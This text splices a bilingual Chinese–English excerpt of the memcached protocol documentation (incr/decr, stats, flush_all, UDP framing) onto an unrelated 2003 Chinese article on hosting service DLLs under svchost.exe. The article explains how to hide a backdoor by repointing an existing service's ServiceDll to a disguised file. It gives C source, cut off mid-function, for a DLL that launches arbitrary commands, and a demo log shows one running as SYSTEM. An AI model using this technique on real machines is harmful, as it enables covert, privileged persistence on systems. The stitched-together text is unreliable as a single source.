|
Increment/Decrement
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
命令 “incr” 和 “decr”被用来修改数据,当一些内容需要 替换、增加 或减少时。这些数据必须是十进制的32位无符号整新。如果不是,则当作0来处理。修改的内容必须存在,当使用“incr”/“decr”命令修改不存在的内容时,不会被当作0处理,而是操作失败。 |
Commands "incr" and "decr" are used to change data for some item in-place, incrementing or decrementing it. The data for the item is treated as decimal representation of a 32-bit unsigned integer. If the current data value does not conform to such a representation, the commands behave as if the value were 0. Also, the item must already exist for incr/decr to work; these commands won’t pretend that a non-existent key exists with value 0; instead, they will fail. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
客户端发送命令行: | The client sends the command line: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
incr <key> <value>\r\n 或 decr <key> <value>\r\n |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <key> 是客户端希望修改的内容的建名 |
– <key> is the key of the item the client wishes to change
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <value> 是客户端要增加/减少的总数。 | – <value> is the amount by which the client wants to increase/decrease the item. It is a decimal representation of a 32-bit unsigned integer. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
回复为以下集中情形: |
The response will be one of:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– "NOT_FOUND\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
指示该项内容的值,不存在。 | to indicate the item with this value was not found | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <value>\r\n ,<value>是 增加/减少 。 | – <value>\r\n , where <value> is the new value of the item’s data, after the increment/decrement operation was carried out. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
注意"decr"命令发生下溢:如果客户端尝试减少的结果小于0时,结果会是0。"incr" 命令不会发生溢出。 | Note that underflow in the "decr" command is caught: if a client tries to decrease the value below 0, the new value will be 0. Overflow in the "incr" command is not checked. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
……
|
Note also that decrementing a number such that it loses length isn’t guaranteed to decrement its returned length. The number MAY be space-padded at the end, but this is purely an implementation optimization, so you also shouldn’t rely on that. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
状态
|
Statistics
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
命令"stats" 被用于查询服务器的运行状态和其他内部数据。有两种格式。不带参数的: |
The command "stats" is used to query the server about statistics it maintains and other internal data. It has two forms. Without arguments: |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
stats\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
这会在随后输出各项状态、设定值和文档。另一种格式带有一些参数: |
it causes the server to output general-purpose statistics and |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
stats <args>\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
通过<args>,服务器传回各种内部数据。因为随时可能发生变动,本文不提供参数的种类及其传回数据。 | Depending on <args>, various internal data is sent by the server. The kinds of arguments and the data sent are not documented in this vesion of the protocol, and are subject to change for the convenience of memcache developers. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
各种状态
|
General-purpose statistics
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
受到无参数的"stats"命令后,服务器发送多行内容,如下: | Upon receiving the "stats" command without arguments, the server sents a number of lines which look like this: |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
STAT <name> <value>\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
服务器用以下一行来终止这个清单: | The server terminates this list with the line | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
END\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
在每行状态中,<name> 是状态的名字,<value> 使状态的数据。 以下清单,是所有的状态名称,数据类型,和数据代表的含义。 |
In each line of statistics, <name> is the name of this statistic, and <value> is the data. The following is the list of all names sent in response to the "stats" command, together with the type of the value sent for this name, and the meaning of the value. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
在“类型”一列中,"32u"表示32位无符号整型,"64u"表示64位无符号整型,"32u:32u"表示用冒号隔开的两个32位无符号整型。 |
In the type column below, "32u" means a 32-bit unsigned integer, "64u"
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
其它命令
|
Other commands
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
“flush_all”命令有一个可选的数字参数。它总是执行成功,服务器会发送“OK\r\n”回应。它的效果是使已经存在的项目立即失效(缺省),或在指定的时间后。此后执行取回命令,将不会有任何内容返回(除非重新存储同样的键名)。flush_all 实际上没有立即释放项目所占用的内存,而是在随后陆续有新的项目被储存时执行。flush_all 效果具体如下:它导致所有更新时间早于flush_all所设定时间的项目,在被执行取回命令时命令被忽略。
|
"flush_all" is a command with an optional numeric argument. It always succeeds, and the server sends "OK\r\n" in response. Its effect is to invalidate all existing items immediately (by default) or after the expiration specified. After invalidation none of the items will be returned in response to a retrieval command (unless it’s stored again under the same key *after* flush_all has invalidated the items). flush_all doesn’t actually free all the memory taken up by existing items; that will happen gradually as new items are stored. The most precise definition of what flush_all does is the following: it causes all items whose update time is earlier than the time at which flush_all was set to be executed to be ignored for retrieval purposes. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
“version”命令没有参数: | "version" is a command with no arguments: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
version\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
在回应中,服务器发送: | In response, the server sends | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
"VERSION <version>\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
<version> 是服务器的版本字串。 | where <version> is the version string for the server. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
“quit”命令没有参数: | "quit" is a command with no arguments: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
quit\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
接收此命令后,服务器关闭连接。不过,客户端可以在不再需要时,简单地关闭连接就行,并不一定需要发送这个命令。 | Upon receiving this command, the server closes the connection. However, the client may also simply close the connection when it no longer needs it, without issuing this command. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
UDP 协议
|
UDP protocol
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
当来自客户端的连接数远大于TCP连接的上限时,可以使用基于UDP的接口。UDP接口不能保证传输到位,所以只有在不要求成功的操作中使用;比如被用于一个“get”请求时,会因不当的缓存处理而发生错误或回应有遗失。 | For very large installations where the number of clients is high enough that the number of TCP connections causes scaling difficulties, there is also a UDP-based interface. The UDP interface does not provide guaranteed delivery, so should only be used for operations that aren’t required to succeed; typically it is used for "get" requests where a missing or incomplete response can simply be treated as a cache miss. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
每个UDP数据包都包含一个简单的帧头,数据之后的内容与TCP协议的描述类似。在执行所产生的数据流中,请求必须被包含在单独的一个UDP数据包中,但是回应可能跨越多个数据包。(只有“get”和“set”请求例外,跨越了多个数据包) | Each UDP datagram contains a simple frame header, followed by data in the same format as the TCP protocol described above. In the current implementation, requests must be contained in a single UDP datagram, but responses may span several datagrams. (The only common requests that would span multiple datagrams are huge multi-key "get" requests and "set" requests, both of which are more suitable to TCP transport for reliability reasons anyway.) | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
帧头有8字节长,如下(均由16位整数组成,网络字节顺序,高位在前): | The frame header is 8 bytes long, as follows (all values are 16-bit integers in network byte order, high byte first): | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
请求ID有客户端提供。一般它会是一个从随机基数开始的递增值,不过客户端想用什么样的请求ID都可以。服务器的回应会包含一个和请求中的同样的ID。客户端使用请求ID来区分每一个回应。任何一个没有请求ID的数据包,可能是之前的请求遭到延迟而造成的,应该被丢弃。 | The request ID is supplied by the client. Typically it will be a monotonically increasing value starting from a random seed, but the client is free to use whatever request IDs it likes. The server’s response will contain the same ID as the incoming request. The client uses the request ID to differentiate between responses to outstanding requests if there are several pending from the same server; any datagrams with an unknown request ID are probably delayed responses to an earlier request and should be discarded. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
序号的返回是从0到n-1,n是该条信息的数据包数量。 | The sequence number ranges from 0 to n-1, where n is the total number of datagrams in the message. The client should concatenate the payloads of the datagrams for a given response in sequence number order; the resulting byte stream will contain a complete response in the same format as the TCP protocol (including terminating \r\n sequences). |
创建时间:2003-08-27 更新时间:2003-08-27
文章属性:原创
文章提交:bingle (bingle_at_email.com.cn)
创建SvcHost.exe调用的服务原理与实践
by bingle_at_email.com.cn
www.BingleSite.net
1. 多个服务共享一个Svchost.exe进程利与弊
windows 系统服务分为独立进程和共享进程两种,在windows NT时只有服务器管理器SCM(Services.exe)有多个共享服务,随着系统内置服务的增加,在windows 2000中ms又把很多服务做成共享方式,由svchost.exe启动。windows 2000一般有2个svchost进程,一个是RPCSS(Remote Procedure Call)服务进程,另外一个则是由很多服务共享的一个svchost.exe。而在windows XP中,则一般有4个以上的svchost.exe服务进程,windows 2003 server中则更多,可以看出把更多的系统内置服务以共享进程方式由svchost启动是ms的一个趋势。这样做在一定程度上减少了系统资源的消耗,不过也带来一定的不稳定因素,因为任何一个共享进程的服务因为错误退出进程就会导致整个进程中的所有服务都退出。另外就是有一点安全隐患,首先要介绍一下svchost.exe的实现机制。
2. Svchost原理
Svchost本身只是作为服务宿主,并不实现任何服务功能,需要Svchost启动的服务以动态链接库形式实现,在安装这些服务时,把服务的可执行程序指向svchost,启动这些服务时由svchost调用相应服务的动态链接库来启动服务。
那么svchost如何知道某一服务是由哪个动态链接库负责呢?这不是由服务的可执行程序路径中的参数部分提供的,而是服务在注册表中的参数设置的,注册表中服务下边有一个Parameters子键其中的ServiceDll表明该服务由哪个动态链接库负责。并且所有这些服务动态链接库都必须要导出一个ServiceMain()函数,用来处理服务任务。
例如rpcss(Remote Procedure Call)在注册表中的位置是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs,它的参数子键Parameters里有这样一项:
"ServiceDll"=REG_EXPAND_SZ:"%SystemRoot%\system32\rpcss.dll"
当启动rpcss服务时,svchost就会调用rpcss.dll,并且执行其ServiceMain()函数执行具体服务。
既然这些服务是使用共享进程方式由svchost启动的,为什么系统中会有多个svchost进程呢?ms把这些服务分为几组,同组服务共享一个svchost进程,不同组服务使用多个svchost进程,组的区别是由服务的可执行程序后边的参数决定的。
例如rpcss在注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs 有这样一项:
"ImagePath"=REG_EXPAND_SZ:"%SystemRoot%\system32\svchost -k rpcss"
因此rpcss就属于rpcss组,这在服务管理控制台也可以看到。
svchost的所有组和组内的所有服务都在注册表的如下位置: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,例如windows 2000共有4组rpcss、netsvcs、wugroup、BITSgroup,其中最多的就是netsvcs=REG_MULTI_SZ:EventSystem.Ias.Iprip.Irmon.Netman.Nwsapagent.Rasauto.Rasman.Remoteaccess.SENS.Sharedaccess.Tapisrv.Ntmssvc.wzcsvc..
在启动一个svchost.exe负责的服务时,服务管理器如果遇到可执行程序内容ImagePath已经存在于服务管理器的映象库中,就不在启动第2个进程svchost,而是直接启动服务。这样就实现了多个服务共享一个svchost进程。
3. Svchost代码
现在我们基本清楚svchost的原理了,但是要自己写一个DLL形式的服务,由svchost来启动,仅有上边的信息还有些问题不是很清楚。比如我们在导出的ServiceMain()函数中接收的参数是ANSI还是Unicode?我们是否需要调用RegisterServiceCtrlHandler和StartServiceCtrlDispatcher来注册服务控制及调度函数?
这些问题要通过查看svchost代码获得。下边的代码是windows 2000+ service pack 4 的svchost反汇编片段,可以看出svchost程序还是很简单的。
主函数首先调用ProcCommandLine()对命令行进行分析,获得要启动的服务组,然后调用SvcHostOptions()查询该服务组的选项和服务组的所有服务,并使用一个数据结构 svcTable 来保存这些服务及其服务的DLL,然后调用PrepareSvcTable() 函数创建SERVICE_TABLE_ENTRY 结构,把所有处理函数SERVICE_MAIN_FUNCTION 指向自己的一个函数FuncServiceMain(),最后调用API StartServiceCtrlDispatcher() 注册这些服务的调度函数。
; =============================== Main Funcion ===========================================
.text:010010B8 public start
.text:010010B8 start proc near
.text:010010B8 push esi
.text:010010B9 push edi
.text:010010BA push offset sub_1001EBA ; lpTopLevelExceptionFilter
.text:010010BF xor edi, edi
.text:010010C1 call ds:SetUnhandledExceptionFilter
.text:010010C7 push 1 ; uMode
.text:010010C9 call ds:SetErrorMode
.text:010010CF call ds:GetProcessHeap
.text:010010D5 push eax
.text:010010D6 call sub_1001142
.text:010010DB mov eax, offset dword_1003018
.text:010010E0 push offset unk_1003000 ; lpCriticalSection
.text:010010E5 mov dword_100301C, eax
.text:010010EA mov dword_1003018, eax
.text:010010EF call ds:InitializeCriticalSection
.text:010010F5 call ds:GetCommandLineW
.text:010010FB push eax ; lpString
.text:010010FC call ProcCommandLine
.text:01001101 mov esi, eax
.text:01001103 test esi, esi
.text:01001105 jz short lab_doservice
.text:01001107 push esi
.text:01001108 call SvcHostOptions
.text:0100110D call PrepareSvcTable
.text:01001112 mov edi, eax ; SERVICE_TABLE_ENTRY returned
.text:01001114 test edi, edi
.text:01001116 jz short loc_1001128
.text:01001118 mov eax, [esi+10h]
.text:0100111B test eax, eax
.text:0100111D jz short loc_1001128
.text:0100111F push dword ptr [esi+14h] ; dwCapabilities
.text:01001122 push eax ; int
.text:01001123 call InitializeSecurity
.text:01001128
.text:01001128 loc_1001128: ; CODE XREF: start+5Ej
.text:01001128 ; start+65j
.text:01001128 push esi ; lpMem
.text:01001129 call HeapFreeMem
.text:0100112E
.text:0100112E lab_doservice: ; CODE XREF: start+4Dj
.text:0100112E test edi, edi
.text:01001130 jz ExitProgram
.text:01001136 push edi ; lpServiceStartTable
.text:01001137 call ds:StartServiceCtrlDispatcherW
.text:0100113D jmp ExitProgram
.text:0100113D start endp
; =============================== Main Funcion end ===========================================
由于svchost为该组的所有服务都注册了svchost中的一个处理函数,因此每次启动任何一个服务时,服务管理器SCM都会调用FuncServiceMain() 这个函数。这个函数使用 svcTable 查询要启动的服务使用的DLL,调用DLL导出的ServiceMain()函数来启动服务,然后返回。
; ============================== FuncServiceMain() ===========================================
.text:01001504 FuncServiceMain proc near ; DATA XREF: PrepareSvcTable+44o
.text:01001504
.text:01001504 arg_0 = dword ptr 8
.text:01001504 arg_4 = dword ptr 0Ch
.text:01001504
.text:01001504 push ecx
.text:01001505 mov eax, [esp+arg_4]
.text:01001509 push ebx
.text:0100150A push ebp
.text:0100150B push esi
.text:0100150C mov ebx, offset unk_1003000
.text:01001511 push edi
.text:01001512 mov edi, [eax]
.text:01001514 push ebx
.text:01001515 xor ebp, ebp
.text:01001517 call ds:EnterCriticalSection
.text:0100151D xor esi, esi
.text:0100151F cmp dwGroupSize, esi
.text:01001525 jbe short loc_1001566
.text:01001527 and [esp+10h], esi
.text:0100152B
.text:0100152B loc_100152B: ; CODE XREF: FuncServiceMain+4Aj
.text:0100152B mov eax, svcTable
.text:01001530 mov ecx, [esp+10h]
.text:01001534 push dword ptr [eax+ecx]
.text:01001537 push edi
.text:01001538 call ds:lstrcmpiW
.text:0100153E test eax, eax
.text:01001540 jz short StartThis
.text:01001542 add dword ptr [esp+10h], 0Ch
.text:01001547 inc esi
.text:01001548 cmp esi, dwGroupSize
.text:0100154E jb short loc_100152B
.text:01001550 jmp short loc_1001566
.text:01001552 ; =================================================
.text:01001552
.text:01001552 StartThis: ; CODE XREF: FuncServiceMain+3Cj
.text:01001552 mov ecx, svcTable
.text:01001558 lea eax, [esi+esi*2]
.text:0100155B lea eax, [ecx+eax*4]
.text:0100155E push eax
.text:0100155F call GetDLLServiceMain
.text:01001564 mov ebp, eax ; dll ServiceMain Function address
.text:01001566
.text:01001566 loc_1001566: ; CODE XREF: FuncServiceMain+21j
.text:01001566 ; FuncServiceMain+4Cj
.text:01001566 push ebx
.text:01001567 call ds:LeaveCriticalSection
.text:0100156D test ebp, ebp
.text:0100156F jz short loc_100157B
.text:01001571 push [esp+10h+arg_4]
.text:01001575 push [esp+14h+arg_0]
.text:01001579 call ebp
.text:0100157B
.text:0100157B loc_100157B: ; CODE XREF: FuncServiceMain+6Bj
.text:0100157B pop edi
.text:0100157C pop esi
.text:0100157D pop ebp
.text:0100157E pop ebx
.text:0100157F pop ecx
.text:01001580 retn 8
.text:01001580 FuncServiceMain endp ; sp = -8
; ============================== FuncServiceMain() end ========================================
由于svchost已经调用了StartServiceCtrlDispatcher来服务调度函数,因此我们在实现DLL实现时就不用了,这主要是因为一个进程只能调用一次StartServiceCtrlDispatcher API。但是需要用 RegisterServiceCtrlHandler 来注册响应控制请求的函数。最后我们的DLL接收的都是unicode字符串。
由于这种服务启动后由svchost加载,不增加新的进程,只是svchost的一个DLL,而且一般进行审计时都不会去HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 检查服务组是否变化,就算去检查,也不一定能发现异常,因此如果添加一个这样的DLL后门,伪装的好,是比较隐蔽的。
4. 安装服务与设置
要通过svchost调用来启动的服务,就一定要在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下有该服务名,这可以通过如下方式来实现:
1) 添加一个新的服务组,在组里添加服务名
2) 在现有组里添加服务名
3) 直接使用现有服务组里的一个服务名,但本机没有安装的服务
4) 修改现有服务组里的现有服务,把它的ServiceDll指向自己
其中前两种可以被正常服务使用,如使用第1种方式,启动其服务要创建新的svchost进程;第2种方式如果该组服务已经运行,安装后不能立刻启动服务,因为svchost启动后已经把该组信息保存在内存里,并调用API StartServiceCtrlDispatcher() 为该组所有服务注册了调度处理函数,新增加的服务不能再注册调度处理函数,需要重起计算机或者该组的svchost进程。而后两种可能被后门使用,尤其是最后一种,没有添加服务,只是改了注册表里一项设置,从服务管理控制台又看不出来,如果作为后门还是很隐蔽的。比如EventSystem服务,缺省是指向es.dll,如果把ServiceDll改为EventSystem.dll就很难发现。
因此服务的安装除了调用CreateService()创建服务之外,还需要设置服务的ServiceDll,如果使用前2种还要设置svchost的注册表选项,在卸载时也最好删除增加的部分。
具体代码参见后边的附例(使用的是方法3)。
注: ImagePath 和ServiceDll 是ExpandString不是普通字符串。因此如果使用.reg文件安装时要注意。
5. DLL服务实现
DLL程序的编写比较简单,只要实现一个ServiceMain()函数和一个服务控制程序,在ServiceMain()函数里用RegisterServiceCtrlHandler()注册服务控制程序,并设置服务的运行状态就可以了。
另外,因为此种服务的安装除了正常的CreateService()之外,还要进行其他设置,因此最好实现安装和卸载函数。
为了方便安装,实现的代码提供了InstallService()函数进行安装,这个函数可以接收服务名作为参数(如果不提供参数,就使用缺省的iprip),如果要安装的服务不在svchost的netsvcs组里安装就会失败;如果要安装的服务已经存在,安装也会失败;安装成功后程序会配置服务的ServiceDll为当前Dll。提供的UninstallService()函数,可以删除任何函数而没有进行任何检查。
为了方便使用rundll32.exe进行安装,还提供了RundllInstallA()和RundllUninstallA()分别调用InstallService()及UninstallService()。因为rundll32.exe使用的函数原型是:
void CALLBACK FunctionName(
HWND hwnd, // handle to owner window
HINSTANCE hinst, // instance handle for the DLL
LPTSTR lpCmdLine, // string the DLL will parse
int nCmdShow // show state
);
对应的命令行是rundll32 DllName,FunctionName [Arguments]
DLL服务本身只是创建一个进程,该程序命令行就是启动服务时提供的第一个参数,如果未指定就使用缺省的svchostdll.exe。启动服务时如果提供第二个参数,创建的进程就是和桌面交互的。
具体代码参见后边的附例8,源代码和DLL文件请到http://www.binglesite.net下载。
//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
//service control handler, call back by service control manager
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process
int RealService(char *cmd, int bInteract);
//Install this dll as a Service host by svchost.exe, service name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a service
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//output the debug infor into log file(or stderr if a console program call me) & DbgPrint
void OutputString( char *lpFmt, … );
6. 代码使用
C:\>tlist -s
0 System Process
8 System
240 services.exe Svcs: Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation, LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe Svcs: RpcSs
1360 svchost.exe Svcs: EventSystem,Netman,RasMan,SENS,TapiSrv
C:\>rundll32 svchostdll.dll,RundllInstall abcd
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
you specify service name not in Svchost\netsvcs, must be one of following:
– EventSystem
– Ias
– Iprip
– Irmon
– Netman
– Nwsapagent
– Rasauto
– Rasman
– Remoteaccess
– SENS
– Sharedaccess
– Tapisrv
– Ntmssvc
– wzcsvc
C:\>rundll32 svchostdll.dll,RundllInstall IPRIP
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
CreateService(IPRIP) SUCCESS. Config it
Config service IPRIP ok.
C:\>sc start iprip "cmd /k whoami" 1
NT AUTHORITY\SYSTEM
SvcHostDLL: ServiceMain(3, IPRIP) called
SvcHostDLL: RealService called ‘cmd /k whoami’ Interact
SvcHostDLL: CreateProcess(cmd /k whoami) to 640
C:\>tlist -s
0 System Process
8 System
240 services.exe Svcs: Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation, LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe Svcs: RpcSs
640 cmd.exe Title: C:\WINNT\System32\cmd.exe
1360 svchost.exe Svcs: EventSystem,Netman,RasMan,SENS,TapiSrv,IPRIP
C:\>net stop iprip
The IPRIP service was stopped successfully.
C:\>rundll32 svchostdll.dll,RundllUninstall iprip
DeleteService(IPRIP) SUCCESS.
7. 参考
Platform SDK: Tools – Rundll32
1) Inside Win32 Services, Part 2 by: Mark Russinovich, at: http://www.winnetmag.com/Articles/Index.cfm?ArticleID=8943&pg=3
2) Platform SDK: Tools – Rundll32, at: http://msdn.microsoft.com/library/en-us/tools/tools/rundll32.asp
2003/8
8. 代码
// SvcHostDLL.cpp : Demo for a service dll used by svchost.exe to host it.
//
// for detail comment see articles.
// by bingle_at_email.com.cn
// www.BingleSite.net
//
/* save following as a .def file to export function, only ServiceMain is needed.
other used to install & uninstall service.
or use /EXPORT: link option to export them.
EXPORTS
ServiceMain
InstallService
UninstallService
RundllUninstallA
RundllInstallA
*/
/*
To compile & link:
cl /MD /GX /LD svchostdll.cpp /link advapi32.lib /DLL /base:0x71000000 /export:ServiceMain /EXPORT:RundllUninstallA /EXPORT:RundllInstallA /EXPORT:InstallService /EXPORT:UninstallService
*/
//
// Articles:
// 1. HOWTO Create a service dll used by svchost.exe by bingle, at: http://www.BingleSite.net/article/svchost-dll-service.html
// 2. Inside Win32 Services, Part 2 by: Mark Russinovich, at: http://www.winnetmag.com/Articles/Index.cfm?ArticleID=8943&pg=3
// 3. Platform SDK: Tools – Rundll32, at: http://msdn.microsoft.com/library/en-us/tools/tools/rundll32.asp
#include <stdio.h>
#include <time.h>
#include <assert.h>
#include <windows.h>
#define DEFAULT_SERVICE "IPRIP"
#define MY_EXECUTE_NAME "SvcHostDLL.exe"
//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
//service control handler, call back by service control manager
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process
int RealService(char *cmd, int bInteract);
//Install this dll as a Service host by svchost.exe, service name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a service
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//output the debug infor into log file(or stderr if a console program call me) & DbgPrint
void OutputString( char *lpFmt, … );
//dll module handle used to get dll path in InstallService
HANDLE hDll = NULL;
//Service HANDLE & STATUS used to get service state
SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hDll = hModule;
#ifdef _DEBUG
AllocConsole();
OutputString("SvcHostDLL: DllMain called DLL_PROCESS_ATTACH");
break;
case DLL_THREAD_ATTACH:
OutputString("SvcHostDLL: DllMain called DLL_THREAD_ATTACH");
case DLL_THREAD_DETACH:
OutputString("SvcHostDLL: DllMain called DLL_THREAD_DETACH");
case DLL_PROCESS_DETACH:
TellSCM( SERVICE_STOP_PENDING, 0, 0 );
Sleep(1500);
TellSCM( SERVICE_STOPPED, 0, 0 );
OutputString("SvcHostDLL: DllMain called DLL_PROCESS_DETACH");
#endif
break;
}
return TRUE;
}
void __stdcall ServiceMain( int argc, wchar_t* argv[] )
{
// DebugBreak();
char svcname[256];
strncpy(svcname, (char*)argv[0], sizeof svcname); //it’s should be unicode, but if it’s ansi we do it well
wcstombs(svcname, argv[0], sizeof svcname);
OutputString("SvcHostDLL: ServiceMain(%d, %s) called", argc, svcname);
hSrv = RegisterServiceCtrlHandler( svcname, (LPHANDLER_FUNCTION)ServiceHandler );
if( hSrv == NULL )
{
OutputString("SvcHostDLL: RegisterServiceCtrlHandler %S failed", argv[0]);
return;
}else FreeConsole();
TellSCM( SERVICE_START_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0 );
// call Real Service function noew
if(argc > 1)
strncpy(svcname, (char*)argv[1], sizeof svcname),
wcstombs(svcname, argv[1], sizeof svcname);
RealService(argc > 1 ? svcname : MY_EXECUTE_NAME, argc > 2 ? 1 : 0);
do{
Sleep(10);//not quit until receive stop command, otherwise the service will stop
}while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
OutputString("SvcHostDLL: ServiceMain done");
return;
}
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
SERVICE_STATUS srvStatus;
srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
srvStatus.dwCurrentState = dwCurrState = dwState;
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitCode;
srvStatus.dwServiceSpecificExitCode = 0;
srvStatus.dwCheckPoint = dwProgress;
srvStatus.dwWaitHint = 3000;
return SetServiceStatus( hSrv, &srvStatus );
}
void __stdcall ServiceHandler( DWORD dwCommand )
{
// not really necessary because the service stops quickly
switch( dwCommand )
{
case SERVICE_CONTROL_STOP:
TellSCM( SERVICE_STOP_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP");
Sleep(10);
TellSCM( SERVICE_STOPPED, 0, 0 );
break;
case SERVICE_CONTROL_PAUSE:
TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE");
TellSCM( SERVICE_PAUSED, 0, 0 );
break;
case SERVICE_CONTROL_CONTINUE:
TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE");
TellSCM( SERVICE_RUNNING, 0, 0 );
break;
case SERVICE_CONTROL_INTERROGATE:
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE");
TellSCM( dwCurrState, 0, 0 );
break;
case SERVICE_CONTROL_SHUTDOWN:
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN");
TellSCM( SERVICE_STOPPED, 0, 0 );
break;
}
}
//RealService just create a process
int RealService(char *cmd, int bInteract)
{
OutputString("SvcHostDLL: RealService called ‘%s’ %s", cmd, bInteract ? "Interact" : "");
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
if(bInteract) si.lpDesktop = "WinSta0\\Default";
